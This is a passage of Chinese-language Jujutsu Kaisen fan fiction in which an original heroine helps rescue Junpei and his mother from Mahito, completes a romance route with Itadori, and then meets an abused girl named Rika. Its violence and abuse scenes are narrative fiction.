那几具尸体,他们就算是隔了一层,从印在资料里的照片上看见的时候,也不敢仔细观察,更遑论亲眼所见的吉野顺平了。 在巨大的冲击下选择逃走,是人之常情。 “线索断掉了啊……”钉崎野蔷薇嘀嘀咕咕地说道,“手段这么残忍,真让人担心后面会不会再出现受害者……” 吉野顺平垂眸,好奇似的问道:“如果抓住了凶手,你们会怎么做呢?” “当然是祓除掉。”钉崎野蔷薇理所当然地说道,“如果是咒灵的话,它们不通人性,处事残忍暴烈,祓除它们是我们咒术师的职责。如果是诅咒师、也就是做坏事的咒术师,那就更要严肃处理。拥有比旁人强大的力量不应该成为肆意妄为的底气,而更应该谨言慎行才对。” 吉野顺平微微愣住,他看了一眼其他三人,他们都是认同女生的这番话的。 “但是,你们平时做这么危险的事情……”他艰难地开口道,“难道就不会……失手吗?” “呃,失手的意思是?”虎杖悠仁奇怪地问道。 吉野顺平移开视线,咽了口口水,干巴巴地解释:“就是……杀人。” 此话一出,四个高中生都不约而同地往后仰了仰。 杀、杀人? “没有。”他们纷纷摇头,他怎么会想到杀人那方面去呢? “和诅咒师战斗,会控制得住吗?”吉野顺平借喝水的动作掩饰自己的表情,“万一真的要杀人的话,你们会动手吗?” 看样子,如果不能说服他的话,这孩子会对加入高专产生抵触吧。 伏黑惠和钉崎野蔷薇作为从小就接触到咒术界的人,开始思索起该如何回答。 “即便是那样,我也不想杀人。”虎杖悠仁脱口而出。 “但那是坏人……”吉野顺平的语气里带上了不自知的急迫,仿佛这个答案对他来说非常重要。 “坏人的生命,也不是应该随意剥夺的吧。”虎杖悠仁挠了挠头,“而且,只要杀过一次,‘杀’就会成为解决问题的一个选项,生命的价值好像都变得分不清楚了,对生死的界限也感到迟钝了。我不想变成那样。” 吉野顺平哑然。 他们……果然和他不一样啊。 但是,他们现在在欢迎他加入。 “我……我知道了……”吉野顺平强笑道,“谢谢你回答我。” “不客气的!”虎杖悠仁高兴地说道,“吉野同学喜欢看电影吗?以后我们还能一起去看电影!” 他就已经开始畅想未来多一个好朋友的画面了。 今夜顺平被他的喜悦感染,也跟着扬起了嘴角。 忽然大门发出了响动,众人回头一看,走进屋子的是一个有着黑色短卷发的女人。她推开门愣了一下,后退两步,仔细瞧了一眼门上写着自家姓氏的表札,确认自己没有走错。 “好多人啊……”她感慨,“你们是顺平的朋友吗?” “妈、妈妈!”吉野顺平没想到妈妈会这么早回家,一时有些无措。 “现在还不是,不过我相信很快就会是了!”虎杖悠仁举起手比了个耶。 吉野妈妈的脸上露出了笑容:“太好了,那大家就留下一起吃晚饭吧。不过要稍等我一下,今天买菜买少了……” “不用。”伏黑惠用力掐了一把虎杖悠仁,脸上平静地说道,“贸然上门已经是打扰,就不在这里吃晚饭了。” 虎杖悠仁倒抽一口冷气,龇牙咧嘴地跟着点头:“是、是……” 在母子两人的热情里,四个人走出了吉野宅。 走在长长的街道上,钉崎野蔷薇伸了个懒腰,开口道:“那我们的任务就完成了吧?晚上吃什么?” “啊,我想吃寿司……” 就在他们讨论的时候,今野桃微笑开口道:“你们确定……吉野顺平什么都不知道吗?” “诶?为什么这样说?” “很突兀啊,关于‘杀人’、‘死亡’的话题。”今野桃意有所指地说道,“我认为,吉野顺平不止看见了尸体,他还看见了凶手,而且,他同凶手有过对话。” 正是凶手的话让他对生命和死亡产生了思考。 嘶…… 三人不得不承认,她说得有道理。 “那他隐瞒这件事,难道他也是帮凶?”钉崎野蔷薇竖起了眉毛,表情变得严肃,“他在骗我们?” “可能是隐瞒,或者包庇。”今野桃轻声说道。 “我们去把他抓起来……”女生愤愤开口。 “等等。”今野桃牵住她的手,“不要着急,或许有更好的办法。那样穷凶极恶的凶手,凭什么会放过看见了它真容的吉野顺平呢?” 虎杖悠仁握紧了拳:“小桃是说,那个凶手会回来把顺平也杀掉?” “只是有这个可能。”今野桃看向他,“如果它在观察吉野的话,肯定会知道我们找到了他。那么,它如何敢保证吉野不会把它的存在说出来呢?吉野只是个普通的学生,审讯、拷打什么的,绝对扛不住吧?” “所以最好的办法,还是把吉野顺平也杀掉吧。”钉崎野蔷薇听懂了,她的眼睛一亮,“我们只要守在吉野顺平的身边,就一定能把那个真正的凶手抓住!” 伏黑惠颔首道:“那我和虎杖就留在这里,你们……” “还是我留下吧,我的术式可以监视周围出现的人或咒灵。”今野桃拒绝了他的好意,“我们不能靠得太近,否则会被发现的。” 钉崎野蔷薇无所谓地说:“行啊,我和今野留下。” “不用,我和小桃留下吧。”虎杖悠仁突然说道,“等我们给你们发消息,你们就来接应我们。” 钉崎野蔷薇挑眉:“我记得,我好像才是和今野一组的人?” 这家伙,不是死活要跟伏黑一组吗? 虎杖悠仁的手指不自觉地蜷缩,他抠了抠裤缝,轻咳一声,刚要开口说话,伏黑惠打断了他。 “钉崎,别问太多,人和人之间,需要一点空间。” “哈?” 钉崎野蔷薇看着虎杖悠仁红得冒烟的脑袋,头顶飘出了一个问号。 情侣之间的对话听不懂也就算了,怎么现在连男同学之间都打起了哑谜? 第177章 夜色浓郁,但房间里还亮着灯。吉野顺平仰面躺在床上,抬起手臂遮在眼前,指缝间漏下的光线在他脸上投下斑驳的阴影。 多年来一直笼罩着一层阴霾的心,今天好像终于有一束光照进来了。高专成员的到来不仅为他打开了新世界的大门,也同样让他知道,原来这个世界上真的有强大却又怜弱的人存在。 所以,他会遇到那些恶人,不过是他的运气不好,而非这个世界已经糟糕到无可救药了。 他不会杀人的。那些混蛋不值得脏了他的手,也同样不值得让他的妈妈为此而担忧。 他的未来会有友好的同学、亲和的师长,会更加光明,更加灿烂。 他才不要像那些人一样,永远烂在泥里。 翻了个身,吉野顺平的嘴角不自觉地上扬着。他闭上眼睛,仿佛美好的生活就已经近在咫尺。 他不知道,和他直线距离大约一百米的地方,两人正趴在一处屋顶上,窥视着他的房间。 “还没熄灯啊……吉野是睡了还是没睡?”虎杖悠仁用两只手比成望远镜的样子,一边张望一边苦恼地问道。 今野桃半阖着眼睛打瞌睡,含含糊糊地回答:“应该是喜欢开灯睡觉吧。” “那样不会伤害眼睛吗?” “也许会……”她的吐字已经快要听不清楚了。 虎杖悠仁放下望远镜,左右看看,没发现第三个人的存在,只有夜风悠悠地吹过,撩起她的几缕发丝。 他轻轻叹了口气,小心翼翼地挪了挪位置,为她挡住夜风。 “小桃,你困了吗?”他凑近了一点,小声在她的耳边问道。 今野桃揉了揉眼睛,打了个哈欠说:“有一点,但没事,如果那个凶手进入了我的监视范围里,我会立刻发现的。” “噢……”虎杖悠仁想问的似乎不是这个,他的眼睛在夜色中闪闪发亮,又大又圆的琥珀色眸子会让人疑心是不是猫咪的瞳孔,“小桃,那个……” “嗯?”今野桃侧过头看他,两人的手臂贴着手臂,影子都重叠在了一起,“有什么话就直说吧。” “嘿嘿。”虎杖悠仁不好意思地笑了笑,还是开口了,“小桃好像很喜欢吉野?” “有吗?”今野桃愣了一下,仔细回忆了一番后,回答,“没有吧,感觉我对他和野蔷薇还有伏黑是一样的。” 但这就是问题所在了啊,小桃明明是外热内冷的性格,跟高专的同学们相处了几个月才熟悉起来,怎么和吉野顺平才认识了一天,就这么融洽了呢? 这还不能说明小桃对他的偏心吗? 虎杖悠仁的心里有些忧愁,整个人像只蔫蔫的大猫。 今野桃看着莫名有点忧郁的男朋友,不明所以地歪了歪头。 这就是她的疏忽了,因为多个周目下来,吉野顺平于她而言,并非陌生人,而是和其他攻略对象一样,都还算熟悉。 那种熟悉会很自然地体现在言谈举止上,在外人眼里,就会显得过于亲密了。 哎呀,毕竟都是玩家心尖尖上的人呢。 虎杖悠仁伸出两根食指对在一起,委委屈屈地看着她,目光湿漉漉的,叫人心疼。今野桃回以疑惑的眼神。 她思考了一下,抬手摸了摸自家男朋友硬硬刺刺的短发。 虽然不知道他为什么不开心,但还是安慰一下吧。 虎杖悠仁:“?” 虽然不知道为什么女朋友突然摸自己,但还是低下头蹭了蹭她的掌心。 两人对视着,忽然都红了脸颊。 “那个……小桃,”虎杖悠仁嗫嚅道,“我……” 忽然,今野桃猛地靠近,捂着了他的嘴巴。她的鼻尖抵着他,几乎能看清楚睫毛的数量。 虎杖悠仁从她清凌凌的瞳孔中看见了自己的倒影。 “嘘——”今野桃用极细微的声音说道,“它来了。” 谁来了? 虎杖悠仁花了三秒钟的时间才反应过来,他的眼睛瞬间瞪大,表情变得严肃。 两人往阴影的深处藏了藏,他顺着她指的方向望了过去。 在今野桃的视角看来,就是一片宁静的地图上突然出现了一个红点,它不紧不慢地走了过来,然后翻进了吉野顺平的家里。 “我记得吉野妈妈还在客厅里?”虎杖悠仁紧张地握住了拳头,“我们得去救她!” 今野桃微微颔首,比了个手势说道:“你去拦截它,我去保护吉野妈妈。” “好!” 在两人从屋顶跃下来的瞬间,一条信息出现在群里。 [目标已出现,前来支援!] 虎杖悠仁一脚踹开大门,在黑暗之中精准地一拳命中了那个蓝色头发的凶手。 今野桃破窗而入,一个翻身把仍然趴在桌子上醉酒不醒的吉野妈妈抱了起来。 在她的面前,赫然摆放着一根两面宿傩的手指。不详的气息已经勾来了蠕动的咒灵,它们被刻意引诱着,来到了这里,准备将眼前的“食物”吞掉。 凶手并不打算亲手杀死吉野妈妈,而是选择了更加残忍的手段。 被咒灵吃掉的话,现场一定会十分恐怖,就连尸体也是残缺不全的。 虎杖悠仁不敢想象,如果吉野顺平看见了这一幕,会是多么地崩溃。 “混蛋!”饱含着怒火的拳头狠狠砸在了凶手的身上,让它发出了哀嚎。 “不可能!”它尖叫着,“你怎么可能伤到我……” 墙面被砸出了一个大窟窿,阴冷的月色照在凶手的身上,让他们看清楚了它的长相。它脸上的缝合线、随意变化的躯体和青白的肤色,都彰显了它特殊的身份。 果然,是个咒灵。 这样强烈的动静,吉野顺平怎么可能还睡得着。他一脸迷茫地跑出房间,惊讶喊道:“真人先生?!” “啧,竟然真的认识啊。”随后赶到的钉崎野蔷薇和伏黑惠拦住了真人逃跑的路线,“看来小桃说得没错了。” 吉野顺平还没搞清楚状况,只看见咒灵和咒术师们打起来了,他还试图从中间劝架。 “真人先生,还有大家……”他结结巴巴地不知道怎么解释,“听我说,真人先生只是……” “吉野同学!”今野桃一甩手,吉野妈妈就重重砸在了吉野顺平的身上。他试图接住自己妈妈,结果就是两个人摔成一团,痛得他龇牙咧嘴,“你听好了,这个叫做真人的,刚刚可是差点杀掉你的妈妈!” 吉野顺平下意识地抱紧了妈妈。吉野妈妈醉得晕晕乎乎,神志都还不太清楚。 “什么啊,顺平,我怎么会这样做呢。”真人假惺惺地笑道,“你都不相信我了吗?” “怎么可能会相信你这个咒灵啊!”钉崎野蔷薇一枚钉子打过去,被真人闪避。它动作灵敏地后跳,又躲开了玉犬的撕咬。 “吉野同学,咒灵诞生于人类的负面情绪,几乎没有不仇视人类的。”伏黑惠在战斗之余抽空为他解释。 吉野顺平嘴唇紧抿,表情有些愤怒。 “所以,真人先生一直以来都是在愚弄我吗?”吉野顺平伤心喊道,“你为什么要这么做!” “笨蛋!”钉崎野蔷薇受不了地翻了个白眼,“坏人做坏事,哪里需要什么理由啊!” 真人就是纯粹的坏,不需要理由。 没能骗到吉野顺平,真人吐了吐舌头,一派天真的模样。 下一秒,它的手臂变幻形状,猝不及防地洞穿了伏黑惠的肩膀。 “真是笑死了,就派你们来杀我吗?也未免太看不起我了,这样的实力,连做实验体都让我打不精神呢。” 真人耸了耸肩膀,又是另一只手化作鞭子,狠狠将钉崎抽飞出去。 它唯一警惕的就是虎杖悠仁,这个少年的攻击,可以直接伤害到它的灵魂。 是因为体内有两面宿傩的存在,所以可以直接感应到灵魂的轮廓,进而攻击到它的本体吗? 完全就是它的克星了嘛。 既然如此…… “悠仁小心!” 虎杖悠仁听见了今野桃的呼声,但他还是没能避开真人的偷袭。鲜血从腹部一点一点流下,很快就在脚边汇聚成了一汪血泊。 今野桃当即就要冲过去,却被虎杖悠仁抬手拒绝。 “保护好他们。”他向女友挤出了一个笑容,“我没事的。” 话音刚落,他就被真人打飞出去了。真人一个巴掌将他拍进了大楼里,混凝土表面顿时绽开蛛网似的裂纹。 它冷笑一声,舌头舔过尖牙:“还有功夫聊天呢,是在交代临终遗言吗?” 不过是一些弱小的二级咒术师,竟然也敢小瞧它。 也不知道咒术师做成的小人干,和普通人有什么区别。 它咧开嘴,露出一个恶毒的笑容。 真人没看见的是,它身后的女生,表情慢慢变了。 她一言不发地将两面宿傩的手指塞进了口袋里,把散开的头发扎了起来。 钉崎野蔷薇和伏黑惠看见了,两人默默收手,站远了一点。 “是不是该放下‘帐’了?” “放吧,不然要挨骂的,虽然现在好像有点晚了……” “没事,到时候就说是燃气爆炸。”伏黑惠熟练开口道,把电话打给了伊地知。 第178章 在一片扬起的灰尘中,隐约能听见虎杖悠仁的咳嗽声。 幸好他没有撞进普通人的家宅里,高耸的办公楼被他撞出了一个黑漆漆的窟窿,仿佛通向地狱的入口,水泥裂口处还在不断地往下簌簌掉着碎石。 真人的嘴角裂开一个夸张的弧度,扭曲的咒力环绕着它。它张开口,正想嘲讽两句,却突然察觉到背后的空气凝滞了一瞬。 今野桃无声无息地站在了它身后。她的半边脸被它的影子挡住,露出的另外半边脸上,那只黑色的眼睛里正在酝酿一场风暴。 她没说话,只是微微压低重心,右拳攥紧,指节泛白。 开什么玩笑,她还以为自己能一拳把它打死吗…… 真人的眼珠转动,还没来得及转身,她的拳头就已经砸在它的后脑勺上。 砰! 咒灵的脸狠狠砸进地面,水泥地瞬间龟裂,碎石飞溅。它刚想挣扎,今野桃的膝盖已经重重压上它的脊椎,左手拽住它的头发,在拳头上缠了两圈,随后猛地往上一提—— 咔嚓! 清脆的断裂声响起,如果是人类,这一击必死无疑。但真人却还能笑得出来:“哎呀呀,生气了?” 今野桃没理它,右手成拳,照着它的太阳穴又是一记重击。 黑色的血液飞溅出来,落在她的脸上。 “你该不会和那个男生是情侣吧?”它仍在咯咯笑着,“我就喜欢看小情侣死在一起的样子,尤其是死之前从爱变成恨的模样,真的是太……” 噗嗤! 咒力凝聚在拳头上,今野桃的手狠狠砸进了它的嘴里,直接贯穿了它的脑袋。她冰冷的目光居高临下地俯视着它,漠然又冷酷。 她的身上到处都是脏污的血液,从她的衣摆、手臂上流下。 配上被打得看不清楚模样的一团马赛克,这下谁还分得清哪个才是反派。 真人的头颅歪歪斜斜地挂在脖子上,伤口在以肉眼可见的速度恢复。它含含糊糊地说道:“没用的,就算把我打成肉泥、切成碎块,也没办法将我杀掉!我会永远、永远……” 从动手到现在始终一言不发的今野桃终于开口了:“就算是咒灵,咒力也是有上限的,总会有用完的那一刻。” 真人的笑容凝固在脸上。 “只要承受的攻击超过了阈值,咒力被消耗干净,你就没办法再复活了吧。”今野桃的呼吸平稳,她解开纽扣,把浸满咒灵血液的外套扔开,“我有的是耐心。” 伏黑惠和钉崎野蔷薇的“帐”设得很及时,真人被打得像老鼠一样到处乱窜,但怎么都逃不出去。两个少年虽然无法杀掉它,却总能想方设法将它从犄角旮旯里逼出来。 最后真人被堵在了角落里,化作了一滩再也分辨不出来的烂泥。 今野桃甩了甩手,黏稠的黑血在空中划出一道弧线。当她走向钉崎和伏黑时,他们没忍住后退了一步。 “你……你还好吗?”伏黑惠忍不住问道。 她的衣角在滴血啊! “挺好的呀,都是那个咒灵的血罢了。”今野桃对他扬起笑容,“你们没事吧?” “没事没事!”钉崎野蔷薇拼命摇头,像个拨浪鼓,“你快去看看虎杖吧!” 今野桃颔首,转身望向虎杖悠仁。 碎裂的混凝土块和扭曲的钢筋堆成了一座小山,两面宿傩就斜倚在这片废墟之上。他单手撑着下巴,猩红的眼眸一瞬不瞬地追随着她的身影。 当她终于将视线投向他时,他懒洋洋地扯动嘴角,露出一个带着几分讥诮的笑容。 她走近了,靴底碾过细小的石子,发出沙沙的声响,问道:“悠仁呢?” “那个小鬼啊,”两面宿傩咂了咂嘴,回答,“大概是觉得太丢脸,不肯出来吧。” 上一秒还在同女朋友吹牛说自己没事,下一秒就被当众打得落花流水,少年人的自尊哪里受得了。 “那悠仁的伤没事吧?”她语气轻柔地问。 两面宿傩轻巧地跃下乱石堆,拍了拍身上的灰尘,大摇大摆地走了过来。 “他能有什么事,一点皮外伤,甚至都用不上反转术式。”他在距离她一步之遥处站定,猩红的眼眸眯起,平视着她,“问你一个问题。” “啊,问吧。” 面对悠仁,她是温柔的,声音都能掐出水来;而面对有着和虎杖悠仁同样外表的两面宿傩,她就显得十分冷淡了。 明明他比虎杖悠仁要强。 “你就这么喜欢那个小鬼?”他的手指撑着下巴,声音里带着几分真实的困惑,似乎遇到了难以理解的问题,“这能给你带来什么呢?” 今野桃平静回答:“快乐吧。爱着悠仁这件事,本身就给我带来了快乐。” “哈。”两面宿傩露出了很古怪的表情,仿佛被鱼刺卡住,却又不得不将它咽下去,“真是软弱的回答。” 今野桃不置可否,反问道:“那你呢?你又希望从我的回答里得到什么呢?” 两面宿傩沉默了。 身为从千年前到现在都堪称最强的诅咒,两面宿傩知道什么是爱,也能够分辨人与人之间所谓的“爱情”。但他不屑于去尝试。 所谓的爱情,不过是强者对弱者的施舍罢了。也因此,在万对他示爱的时候,他才会如此愤怒。 他被万的“爱”冒犯了。 一个卑微的弱者,怎么敢来向他示爱,怎么敢来祈求他的垂怜。 爱,是另一种形态的“诅咒”。想要诅咒他的人,全都会被他杀死。 “你不会理解的,宿傩。”今野桃移开视线,焦点落在了抱着母亲的吉野顺平身上,“爱让弱者变强,让强者变得无敌。” 刚刚觉醒术式的少年脚边躺着几具咒灵的尸体,手里还握着一根断裂的钢筋。 他本可以逃跑,但他的怀里是他最重要的亲人。所以他拼上了性命地去保护她,这股信念令他爆发出了超乎寻常的力量。 即便是死,他也要和母亲死在一起。 两面宿傩沉默良久,缓缓吐出两个字:“无聊。” 不过是被驯化的野兽给自己套上的项圈罢了。 “才不是无聊!”虎杖悠仁突然抬手重重拍在自己脸上,脸颊瞬间就有点肿了。他愤愤地大喊道,声音在空旷的街道上格外响亮,“爱着小桃,我也觉得很快乐啊!只有你这种没感受过爱的家伙,才会觉得无聊吧!” 两面宿傩的嘴巴浮现在虎杖的脸上,声音都嘶哑了:“你这小鬼在说什么!” “我说你,吃不到葡萄就说葡萄酸!逊毙了!” “你放屁!” 两面宿傩被他气得破防了,他还想说什么,却已经被虎杖悠仁完全压制下去。 少年气鼓鼓地抱着自己心爱的女朋友,像护食的大型犬般把她圈在怀里,下巴抵在她发顶,嘟嘟囔囔地说道:“不要搭理他,小桃,我们才没有义务教他什么是‘爱’呢!” “你说得没错。”今野桃靠在他的肩膀上,伸手环住他的腰,眉眼弯弯,“我们彼此相爱,就足够了。我会一直陪在悠仁的身边,直到生命终结。” “小桃……” 滴。 手机声音响起,几人回头,看向来人。身材高大的男人悄悄躲在电线杆后面,正手忙脚乱地摆弄着手机。 “哎呀,被发现了。”他对上学生们的目光,笑嘻嘻地开口道。 他的手指微动,手机里传出了一个元气满满的声音。 ——‘爱着小桃,我也觉得很快乐啊!’ 虎杖悠仁猛地吸了一大口气,脸颊红得快要滴血,声音都变了调:“五条老师!你什么时候来的啊!” “刚来,刚来。”五条悟像只灵活的猫,轻巧地后跳两步,将手机高高举起。虎杖扑了个空,差点摔个四脚朝天。 今野桃眼疾手快地揪住男友的衣领,像拎小狗一样把他按在原地后,恭敬地伸出了双手,眼睛亮晶晶的,用从未有过的谄媚语气说道:“五条老师,请务必把视频发给我一份。” “哈哈,好说好说。要4k高清的吗?只需要十份任务报告即可解锁~” “不要哇!小桃!好羞耻的!”虎杖悠仁崩溃的声音划破了夜空,“拜托快删掉吧,五条老师!” “不行哦,这可是珍贵的纪念呢!” “求求了,老师!” 两人绕着今野桃你追我赶, 扬起的尘土在月光下打着旋儿。 吉野顺平抱着母亲,呆呆地望着这一幕,小声问道:“这、这就是我们的老师?” 伏黑惠默默别过脸,嘴角却不受控制地抽动:“……嗯。” 夜风拂过,吉野顺平突然轻笑出声。 他低头看着母亲安详的睡颜,又望向那群打闹的身影。虽然和想象中庄严神秘的咒术师生涯截然不同,但这样的未来……似乎也不错。 【虎杖悠仁好感值:100】 【虎杖悠仁—少年游(HE) ——少年心动一霎风,吹过青山几万重。】 第179章 ‘要……长命百岁啊。’ 咚地一声响,少年俯身栽倒在地。鲜血从他胸前的伤口咕咕流出,很快就染红了一片土地。 伏黑惠站在逐渐冰冷的尸体前,黑色海胆般的发梢滴着水珠。他低着头,过长的刘海在脸上投下一片阴影,让人看不清他的表情。只有紧握到发白的指节和微微颤抖的肩膀暴露了他此刻的情绪。 冰凉的雨丝不断落下,打湿了每个人的衣襟。空气里弥漫着铁锈般的血腥味,混合着泥土的腥气,让人窒息。 忽然,一滴水珠顺着少年消瘦的下颌线滑落,在下巴尖短暂停留后,无声地坠入血泊之中。 虎杖悠仁呆立在原地,喉咙像是被无形的手扼住。他茫然地看着眼前的一切,双手无意识地张开又握紧。 这是哪里?地上躺着的那个,是他自己吗?他死了?现在是灵魂?不对吧,他没有这一段记忆啊? 虎杖悠仁趴在地上,试图把自己的“尸体”翻个面,结果手却从身体上穿了过去。他低头,怔怔地看着自己半透明的手掌,掌心纹路在雨中若隐若现。 原来,自己是死了啊……等等,那小桃呢?小桃怎么办?而且他的体内不是还有两面宿傩吗?怎么会就这样死掉了呢? 有太多太多的疑问充斥在虎杖的大脑里,他烦躁地抓耳挠腮,却又无能为力。 良久,伏黑惠缓缓蹲下身,修长的手指轻轻托起尸体的后颈,动作轻柔得仿佛在对待易碎的珍宝。 他将失去温度的躯体打横抱起,“虎杖悠仁”苍白的脸上还残留着血迹,暗红的液体从嘴角溢出,在雨水冲刷下形成蜿蜒的痕迹。 伏黑惠用校服袖子小心翼翼地擦拭着那张熟悉的脸,布料很快就被染成暗红色。他紧抿着嘴唇,抱着同伴转身走向大楼出口,脚步沉重得像是灌了铅。 虎杖悠仁极力思索,终于从记忆里找到了这个场景。 这里是少年院,他曾和同学们在这里遇到了第一个特级咒灵。最后特级咒灵被小桃祓除,而他也被两面宿傩救了回来。 难道……这是两面宿傩没有救他的平行世界?那小桃呢?小桃也不存在吗? 虎杖悠仁焦虑地拔腿就往外面跑,结果还没跑出去百米,一股强大的力量就拽住了他,让他无法挪动半步。 他只能怏怏地回来了。 看样子,他无法离开自己的“尸体”。 伏黑惠抱着他上了辅助监督的车,全程一言不发。回到高专后,那具冰冷的躯体被白布包裹,轻轻放在停尸房的金属台上 很快,五条老师出现了。他和伏黑惠在走廊碰面,两人相对无言,最后五条悟拍了拍男生的肩膀。 “去休息吧。” 伏黑惠闭了闭眼,很细微地点点头,顺着漫长的走廊离开。 他已经没有更多的心力去和老师打招呼了,同伴的死亡给了他莫大的打击,让他失去了开口的力气。 五条悟看着他离开的背影,忽然就想起了自己的过去。 或许,所有咒术师都会经历一场这样的磨难。目送身边重要的人离去,也是人生的一场必修课。 “伏黑……”虎杖悠仁喃喃道。 忽然,他眼前的画面闪烁了一下,场景变幻,他抬头,看见地铁口的牌子上写着“涉谷”。 怎么突然又到这里来了? 转过身,一个熟悉的人影出现。他高兴地举起了手:“钉崎……” 下一秒,一个蓝色长发的咒灵就与他擦肩而过。 与此同时,歇斯底里的呼唤响彻整个地铁通道。 ‘快跑——钉崎——!’ 太快了,钉崎野蔷薇完全没反应过来,咒灵的手已经按在了她的脸上。 “不要!” 虎杖悠仁的瞳孔剧烈收缩着,眼睁睁看着另一个“自己”如炮弹般冲向真人。那记重拳带着破空之声,狠狠砸在咒灵扭曲的面容上。真人的身躯像破布娃娃般倒飞出去,在混凝土墙面上撞出蛛网般的裂痕。 受到重击的咒灵一边口中呕出鲜血,一边还在哈哈大笑:“哎呀,刚刚没能一下将那个三七分咒术师解决,不知道这个会如何?” 钉崎野蔷薇捂着半边脸,缓缓地、摇摇晃晃地转过身。 她看向了虎杖悠仁,嘴角微微上扬。 “虎杖。”她的声音轻飘飘的,像风漫无目的地吹过,“帮我转告大家,我这一生……过得还算不错。” 腐烂的肉屑从她光洁的脸蛋上掉下来,很快就露出了雪白的骨头。女生棕色的发丝扬起,伴随着砰地一声,她倒在了地上。 虎杖悠仁瞪大了眼睛,身体在颤抖。 怎么回事?这到底是……怎么回事?是未来?还是……? 五条老师呢?五条老师在哪? 咔嚓。 碎裂的声音响起,整个世界如摔在地上的镜子,一块块破碎的镜片里出现着各种各样的画面。五条老师被封印了,钉崎死了,还有伊地知先生,好多好多认识的、不认识的咒术师…… “啊!” 虎杖悠仁发出了一声尖叫,他骤然睁开眼睛,恍惚间看见了卧室的天花板。淡淡的花香飘来,慢慢抚平了他过载的心跳。 这是他毕业以后,和恋人一起买下的房子。 恋人……对了,小桃呢?小桃在哪? 虎杖悠仁飞快地爬起来,穿着睡衣就跑了出去。拉开卧室的门,他看见客厅里坐着五个人。 准确地说,是四个人加一个咒物。 他的三个同窗好友、他的女朋友、还有寄宿在他的身体里,每天只能出来放风三小时的……狱友(?)正坐成了一个圈,面前的桌子上撒了几张牌。 听见动静,他们回头,只见伏黑惠和钉崎野蔷薇的脸上赫然贴着几张纸条,把他们的脸都挡住了。 伏黑惠撩起一边的纸条,挑眉问道:“怎么了,做噩梦了?” “没用的废物,建议把身体给我。”把把都是第二的两面宿傩扯了扯嘴角,甩出一个对子。 本来就没剩几张牌,很快就打完了。 唯一赢家今野桃放下牌,快步上前,纤细的手臂环住虎杖悠仁的脖颈,指尖不经意间触到他后颈微微渗出的冷汗:“你的脸色 很不好呢,悠仁,要喝水吗?” 虎杖悠仁把脸埋在女友的肩膀上,摇摇头,声音闷闷的:“没事……” 他收紧双臂,仿佛要将这个拥抱刻进骨子里。原来那场噩梦只是虚惊一场,紧绷的神经终于松懈下来,连呼吸都变得绵长。 钉崎野蔷薇啧了一声,单手托腮,小拇指无意识地绕着鬓角的一缕头发打转,说道:“总感觉虎杖看上去比以前在学校里的时候成熟多了。” “因为要养小孩吧。”伏黑惠平静说道,“有小孩的人就是老得快。” “哈啊?”两面宿傩四只眼睛里闪过杀气,“你什么意思?” 因为一直以来表现良好,两面宿傩得到了出来放风的机会。据说使用到了降灵术和现代科学技术,他们也听不太懂,都是今野桃一手操办的。 反正她又不会害虎杖。 大家理所当然地这么想着。 “难道不是吗,住虎杖的、吃虎杖的,再加上性格暴躁幼稚,不通人性,这不就是小孩吗。”伏黑惠面不改色地开口,完全不在意诅咒之王散发出来的杀气。 因为他知道,根本打不起来。 砰! 两面宿傩用力一拍桌子,桌子连皮外伤都没有。 “你又拉我属性!明明是他先挑衅我!”两面宿傩生气地朝女生喊道,额角青筋暴起,“简直是不分青红皂白!” “哎呀别吵了别吵了,大家各退一步,”钉崎野蔷薇不知何时已经掏出了她那柄闪着寒光的锤子,笑容甜美得令人毛骨悚然,“一人挨一下总行了吧,保证公平呢~” “凭什么?我看你们都是一伙的吧!” “我只是实话实说罢了。” 虎杖悠仁头都要大了:“别打架别打架啊!” 脑海里关于那些噩梦的记忆片就像阳光下的肥皂泡一样,正在一点点变得透明,最终消失得无影无踪。 果然,梦就是梦啊。 第180章 茂密的树林里,干枯的落叶在脚下发出细碎的沙沙声。男人拨开两边的灌木丛,行走在几乎看不出来痕迹的小路上。 一个瘦小的身影踉跄地跟随着。五岁的小女孩被拽着手腕,细嫩的皮肤上已经浮现出青紫的指痕。锋利的草叶在她裸露的小腿上划出细密的血痕,每走一步都在颤抖。 若是从前,这样的疼痛早该让她放声大哭——但现在,她只是死死咬住下唇,将呜咽声咽回肚子里。 她害怕自己说出一个字,都会激怒这个曾经是她父亲的男人。 自从母亲死后,父亲就变了。 他开始对着空气说话,开始在屋子里走来走去。他不去上班,也不搭理任何人,只是一味地沉浸在自己的世界之中,和一个其他人看不见的东西说话。 女孩用力咬着牙齿,强忍住眼睛里的泪水。 其实这样也挺好,至少他还是个“人类”。但很快,他不知道从什么地方找到了一个所谓的“神明”,并且坚信“神明”可以复活他的妻子——只需要他按照“神明”所说的去做。 男人虔诚地信仰着这位“神明”,对它言听计从。 一开始是钱财,然后是指定的命令……直到今天,“神明”要他献上自己的女儿。 “只是一点点代价而已!”男人抓着她的肩膀,神情癫狂地摇晃着,“里香,你妈妈那么爱你,你难道连一点代价都不愿意付出吗?你可是你妈妈生下来的,你本来就应该为了妈妈贡献出你的一切!” 女孩畏惧地点头,喉咙里挤出细如蚊呐的应答:“我、我愿意的,爸爸……” 男人露出了满意的笑容,他轻柔地抚摸着女孩的脸蛋,瞳孔收缩成针尖大小,仿佛在她的身上看见了妻子的影子:“乖孩子。” 他按照“神明”的指示,将女儿带到了山顶。 接下来,只需要让女儿吃下“妻子”的血肉,妻子就会在她的身上复活了,从今以后,他们又可以回到从前幸福的一家人…… 装在碗里的“血肉”散发着不详的气息,甚至还在蠕动,令人作呕的血腥味直冲鼻子,女孩捧着碗的手抖得厉害,她哀求地看向父亲:“爸爸,我、我等下吃……” “现在就吃!”女孩的恳求被一记耳光打断。火辣辣的疼痛在左脸蔓延,血腥味在口腔里扩散。泪水模糊了视线中父亲狰狞的脸,“快点!” 大颗大颗的眼泪从女孩的眼眶里溢出来,在父亲的逼迫下,她的嘴唇慢慢靠近了碗。 恶心……好恶心……不管是碗里的东西,还是身边的男人……都好恶心…… 不管是谁都好,求求了,救救她…… “喂,大叔,你们在干什么呢?” 清亮的女声刺破林间的寂静。女孩猛地抬头,眼底燃起希望的火苗,却在看清来人的瞬间又黯淡下去 来的人是一个看起来比她大不了多少的女生。她站在树顶上,居高临下地俯视着他们,阳光自她身后照来,给她的边缘镀上了一层金色的光晕。 “少多管闲事!”男人破口大骂,唾沫星子飞溅,看起来狰狞又可怖,“滚远点!” 大概是一个误入这里的小孩吧,女孩咬着牙,陷入了纠结之中。 她很想开口求救,又害怕那不过是多拖一个人下地狱,更怕对方转头就跑,把她的求救视作空气。 到底该怎么办……想要活下去,怎么就这么难…… 女孩闭上了眼睛。 